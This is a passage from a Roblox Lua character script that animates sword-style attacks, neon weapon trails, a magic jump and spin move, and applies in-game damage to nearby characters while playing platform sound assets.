  3256. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3257. end
  3258. for i=0,1,0.04 do
  3259. swait()
  3260. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3261. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3262. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3263. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3264. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3265. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3266. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3267. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3268. end
  3269. --dmgstop()
  3270. attack=false
  3271. Humanoid.WalkSpeed = 15
  3272. if TrailDeb == true then
  3273. TrailDeb = false
  3274. end
  3275. end
  3276.  
  3277. function attackone()
  3278. attack=true
  3279. if TrailDeb == false then
  3280. TrailDeb = true
  3281. end
  3282.  
  3283.  
  3284. coroutine.wrap(function()
  3285. local Old = Handle.CFrame.p
  3286. while wait()do
  3287. if not TrailDeb then break end
  3288. local New = Handle.CFrame.p
  3289. local Mag =(Old -New).magnitude
  3290. local Dis =(Old +New)/2
  3291. local Trail = Instance.new("Part",Character)
  3292. Trail.Material = "Neon"
  3293. Trail.Anchored = true
  3294. Trail.CanCollide = false
  3295. Trail.BrickColor = TorsoColor
  3296. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3297. Trail.TopSurface = 0
  3298. Trail.BottomSurface = 0
  3299. Trail.formFactor = "Custom"
  3300. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3301. local ms = Instance.new("BlockMesh",Trail)
  3302. ms.Scale = Vector3.new(1,1,1)
  3303. local TM = Instance.new("CylinderMesh",Trail)
  3304. TM.Scale = Vector3.new(1,1,1)
  3305. Old = New
  3306. coroutine.wrap(function()
  3307. for i = 1,0,-0.1 do
  3308. wait()
  3309. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3310. end
  3311. Trail:remove()
  3312. end)()
  3313. coroutine.wrap(function()
  3314. for i = 1,10 do
  3315. wait()
  3316. Trail.Transparency = Trail.Transparency +0.1
  3317. end end)()end end)()
  3318. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3319. for i=0,1,0.08 do
  3320. swait()
  3321. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3322. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3323. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3324. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3325. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3326. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3327. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3328. end
  3329. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3330. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3331. for i=0,1,0.1 do
  3332. swait()
  3333. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3334. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3335. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3336. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3337. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3338. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3339. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3340. end
  3341. --dmgstop()
  3342. attack=false
  3343. con1:disconnect()
  3344. if TrailDeb == true then
  3345. TrailDeb = false
  3346. end
  3347. end
  3348.  
  3349. function attacktwo()
  3350. attack=true
  3351. if TrailDeb == false then
  3352. TrailDeb = true
  3353. end
  3354.  
  3355.  
  3356. coroutine.wrap(function()
  3357. local Old = Handle2.CFrame.p
  3358. while wait()do
  3359. if not TrailDeb then break end
  3360. local New = Handle2.CFrame.p
  3361. local Mag =(Old -New).magnitude
  3362. local Dis =(Old +New)/2
  3363. local Trail = Instance.new("Part",Character)
  3364. Trail.Material = "Neon"
  3365. Trail.Anchored = true
  3366. Trail.CanCollide = false
  3367. Trail.BrickColor = TorsoColor
  3368. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3369. Trail.TopSurface = 0
  3370. Trail.BottomSurface = 0
  3371. Trail.formFactor = "Custom"
  3372. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3373. local ms = Instance.new("BlockMesh",Trail)
  3374. ms.Scale = Vector3.new(1,1,1)
  3375. local TM = Instance.new("CylinderMesh",Trail)
  3376. TM.Scale = Vector3.new(1,1,1)
  3377. Old = New
  3378. coroutine.wrap(function()
  3379. for i = 1,0,-0.1 do
  3380. wait()
  3381. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3382. end
  3383. Trail:remove()
  3384. end)()
  3385. coroutine.wrap(function()
  3386. for i = 1,10 do
  3387. wait()
  3388. Trail.Transparency = Trail.Transparency +0.1
  3389. end end)()end end)()
  3390. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3391. for i=0,1,0.08 do
  3392. swait()
  3393. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3394. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3395. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3396. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3397. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3398. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3399. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3400. end
  3401. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3402. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3403. for i=0,1,0.1 do
  3404. swait()
  3405. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3406. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3407. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3408. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3409. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3410. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3411. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3412. end
  3413. --dmgstop()
  3414. attack=false
  3415. con1:disconnect()
  3416. if TrailDeb == true then
  3417. TrailDeb = false
  3418. end
  3419. end
  3420.  
  3421. function attackthree()
  3422. attack=true
  3423. if TrailDeb == false then
  3424. TrailDeb = true
  3425. end
  3426.  
  3427.  
  3428. coroutine.wrap(function()
  3429. local Old = Handle.CFrame.p
  3430. while wait()do
  3431. if not TrailDeb then break end
  3432. local New = Handle.CFrame.p
  3433. local Mag =(Old -New).magnitude
  3434. local Dis =(Old +New)/2
  3435. local Trail = Instance.new("Part",Character)
  3436. Trail.Material = "Neon"
  3437. Trail.Anchored = true
  3438. Trail.CanCollide = false
  3439. Trail.BrickColor = TorsoColor
  3440. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3441. Trail.TopSurface = 0
  3442. Trail.BottomSurface = 0
  3443. Trail.formFactor = "Custom"
  3444. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3445. local ms = Instance.new("BlockMesh",Trail)
  3446. ms.Scale = Vector3.new(1,1,1)
  3447. local TM = Instance.new("CylinderMesh",Trail)
  3448. TM.Scale = Vector3.new(1,1,1)
  3449. Old = New
  3450. coroutine.wrap(function()
  3451. for i = 1,0,-0.1 do
  3452. wait()
  3453. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3454. end
  3455. Trail:remove()
  3456. end)()
  3457. coroutine.wrap(function()
  3458. for i = 1,10 do
  3459. wait()
  3460. Trail.Transparency = Trail.Transparency +0.1
  3461. end end)()end end)()
  3462. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(30,50),"Up",RootPart,1.2,11) end)
  3463. for i=0,1,0.08 do
  3464. swait()
  3465. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3466. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3467. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3468. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3469. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3470. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3471. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3472. end
  3473. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3474. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3475. for i=0,1,0.05 do
  3476. swait()
  3477. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3478. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3479. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3480. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3481. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3482. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3483. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3484. end
  3485. --dmgstop()
  3486. attack=false
  3487. con1:disconnect()
  3488. if TrailDeb == true then
  3489. TrailDeb = false
  3490. end
  3491. end
  3492.  
  3493. function attackfour()
  3494. attack=true
  3495. if TrailDeb == false then
  3496. TrailDeb = true
  3497. end
  3498.  
  3499.  
  3500. coroutine.wrap(function()
  3501. local Old = Handle2.CFrame.p
  3502. while wait()do
  3503. if not TrailDeb then break end
  3504. local New = Handle2.CFrame.p
  3505. local Mag =(Old -New).magnitude
  3506. local Dis =(Old +New)/2
  3507. local Trail = Instance.new("Part",Character)
  3508. Trail.Material = "Neon"
  3509. Trail.Anchored = true
  3510. Trail.CanCollide = false
  3511. Trail.BrickColor = TorsoColor
  3512. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3513. Trail.TopSurface = 0
  3514. Trail.BottomSurface = 0
  3515. Trail.formFactor = "Custom"
  3516. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3517. local ms = Instance.new("BlockMesh",Trail)
  3518. ms.Scale = Vector3.new(1,1,1)
  3519. local TM = Instance.new("CylinderMesh",Trail)
  3520. TM.Scale = Vector3.new(1,1,1)
  3521. Old = New
  3522. coroutine.wrap(function()
  3523. for i = 1,0,-0.1 do
  3524. wait()
  3525. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3526. end
  3527. Trail:remove()
  3528. end)()
  3529. coroutine.wrap(function()
  3530. for i = 1,10 do
  3531. wait()
  3532. Trail.Transparency = Trail.Transparency +0.1
  3533. end end)()end end)()
  3534. coroutine.wrap(function()
  3535. local Old = Handle.CFrame.p
  3536. while wait()do
  3537. if not TrailDeb then break end
  3538. local New = Handle.CFrame.p
  3539. local Mag =(Old -New).magnitude
  3540. local Dis =(Old +New)/2
  3541. local Trail = Instance.new("Part",Character)
  3542. Trail.Material = "Neon"
  3543. Trail.Anchored = true
  3544. Trail.CanCollide = false
  3545. Trail.BrickColor = TorsoColor
  3546. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3547. Trail.TopSurface = 0
  3548. Trail.BottomSurface = 0
  3549. Trail.formFactor = "Custom"
  3550. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3551. local ms = Instance.new("BlockMesh",Trail)
  3552. ms.Scale = Vector3.new(1,1,1)
  3553. local TM = Instance.new("CylinderMesh",Trail)
  3554. TM.Scale = Vector3.new(1,1,1)
  3555. Old = New
  3556. coroutine.wrap(function()
  3557. for i = 1,0,-0.1 do
  3558. wait()
  3559. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3560. end
  3561. Trail:remove()
  3562. end)()
  3563. coroutine.wrap(function()
  3564. for i = 1,10 do
  3565. wait()
  3566. Trail.Transparency = Trail.Transparency +0.1
  3567. end end)()end end)()
  3568. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3569. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3570. for i=0,1,0.08 do
  3571. swait()
  3572. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3573. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3574. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3575. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3576. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3577. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3578. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3579. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3580. end
  3581. if anim then
  3582. anim.Disabled=true
  3583. end
  3584. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3585. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3586. for i=0,1,0.04 do
  3587. swait()
  3588. Torso.Velocity=RootPart.CFrame.lookVector*50
  3589. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3590. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3591. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3592. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3593. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3594. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3595. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3596. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3597. end
  3598. --dmgstop()
  3599. attack=false
  3600. con1:disconnect()
  3601. con2:disconnect()
  3602. if anim then
  3603. anim.Disabled=false
  3604. end
  3605. if TrailDeb == true then
  3606. TrailDeb = false
  3607. end
  3608. end
  3609.  
  3610. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3611. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(1,0,0))
  3612. prt.Anchored = true
  3613. prt.CFrame = cframe
  3614. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3615. coroutine.resume(coroutine.create(function()
  3616. for i = 0, 1, 0.05 do
  3617. wait()
  3618. prt.Transparency = i
  3619. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3620. end
  3621. prt.Parent = nil
  3622. end))
  3623. end
  3624.  
  3625. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3626. for _, c in pairs(workspace:children()) do
  3627. local hum = c:findFirstChild("Humanoid")
  3628. if hum ~= nil then
  3629. local head = c:findFirstChild("Torso")
  3630. if head ~= nil then
  3631. local targ = head.Position - Part.Position
  3632. local mag = targ.magnitude
  3633. if mag <= magni and c.Name ~= Player.Name then
  3634. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3635. end
  3636. end
  3637. end
  3638. end
  3639. end
  3640.  
  3641. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3642. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3643. prt.Anchored = true
  3644. prt.CFrame = cframe
  3645. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3646. game:GetService("Debris"):AddItem(prt, 2)
  3647. coroutine.resume(coroutine.create(function(Part, Mesh)
  3648. for i = 0, 1, delay do
  3649. swait()
  3650. Part.CFrame = Part.CFrame
  3651. Part.Transparency = i
  3652. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3653. end
  3654. Part.Parent = nil
  3655. end), prt, msh)
  3656. end
  3657.  
  3658. function MagicJump()
  3659. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3660. attack=true
  3661. mana=mana-25
  3662. --[[ Humanoid.WalkSpeed = 0
  3663. for i=0,1,0.01 do
  3664. swait()
  3665. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3666. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3667. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3668. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3669. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3670. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3671. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3672. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3673. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3674. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3675. end]]--
  3676. Humanoid.Jump = true
  3677. Torso.Velocity = vt(0, 150, 0)
  3678. Humanoid.WalkSpeed = 64
  3679. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3680. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3681. for i=0,1,0.05 do
  3682. swait()
  3683. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3684. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3685. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3686. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3687. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3688. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3689. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3690. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3691. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3692. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3693. end
  3694. for i=0,1,0.02 do
  3695. swait()
  3696. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3697. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3698. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3699. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3700. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3701. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3702. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3703. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3704. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3705. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3706. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3707. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3708. end
  3709. Humanoid.WalkSpeed = 0
  3710. swait(8)
  3711. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3712. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3713. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3714. if hit~=nil then
  3715. swait(2)
  3716. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3717. ref.Anchored=true
  3718. ref.CFrame=cf(pos)
  3719. game:GetService("Debris"):AddItem(ref,3)
  3720. for i=1,10 do
  3721. local Col=BrickColor.new("Really black")
  3722. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3723. groundpart.Anchored=true
  3724. groundpart.CanCollide=false
  3725. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3726. local Col2=TorsoColor
  3727. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3728. groundpart2.Anchored=true
  3729. groundpart2.CanCollide=false
  3730. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3731. game:GetService("Debris"):AddItem(groundpart,5)
  3732. game:GetService("Debris"):AddItem(groundpart2,5)
  3733. end
  3734. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3735. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3736. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3737. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3738. for i=0,1,0.06 do
  3739. swait()
  3740. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3741. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3742. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3743. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3744. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3745. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3746. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3747. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3748. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3749. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3750. end
  3751. end
  3752. swait(20)
  3753. Humanoid.WalkSpeed = 15
  3754. --dmgstop()
  3755. attack=false
  3756. end
  3757. end
  3758.  
  3759. function Spin()
  3760. attack=true
  3761. mana=mana-40
  3762. if TrailDeb == false then
  3763. TrailDeb = true
  3764. end
  3765.  
  3766. coroutine.wrap(function()
  3767. local Old = Handle2.CFrame.p
  3768. while wait()do
  3769. if not TrailDeb then break end
  3770. local New = Handle2.CFrame.p
  3771. local Mag =(Old -New).magnitude
  3772. local Dis =(Old +New)/2
  3773. local Trail = Instance.new("Part",Character)
  3774. Trail.Material = "Neon"
  3775. Trail.Anchored = true
  3776. Trail.CanCollide = false
  3777. Trail.BrickColor = TorsoColor
  3778. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3779. Trail.TopSurface = 0
  3780. Trail.BottomSurface = 0
  3781. Trail.formFactor = "Custom"
  3782. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3783. local ms = Instance.new("BlockMesh",Trail)
  3784. ms.Scale = Vector3.new(1,1,1)
  3785. local TM = Instance.new("CylinderMesh",Trail)
  3786. TM.Scale = Vector3.new(1,1,1)
  3787. Old = New
  3788. coroutine.wrap(function()
  3789. for i = 1,0,-0.1 do
  3790. wait()
  3791. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3792. end
  3793. Trail:remove()
  3794. end)()
  3795. coroutine.wrap(function()
  3796. for i = 1,10 do
  3797. wait()
  3798. Trail.Transparency = Trail.Transparency +0.1
  3799. end end)()end end)()
  3800. coroutine.wrap(function()
  3801. local Old = Handle.CFrame.p
  3802. while wait()do
  3803. if not TrailDeb then break end
  3804. local New = Handle.CFrame.p
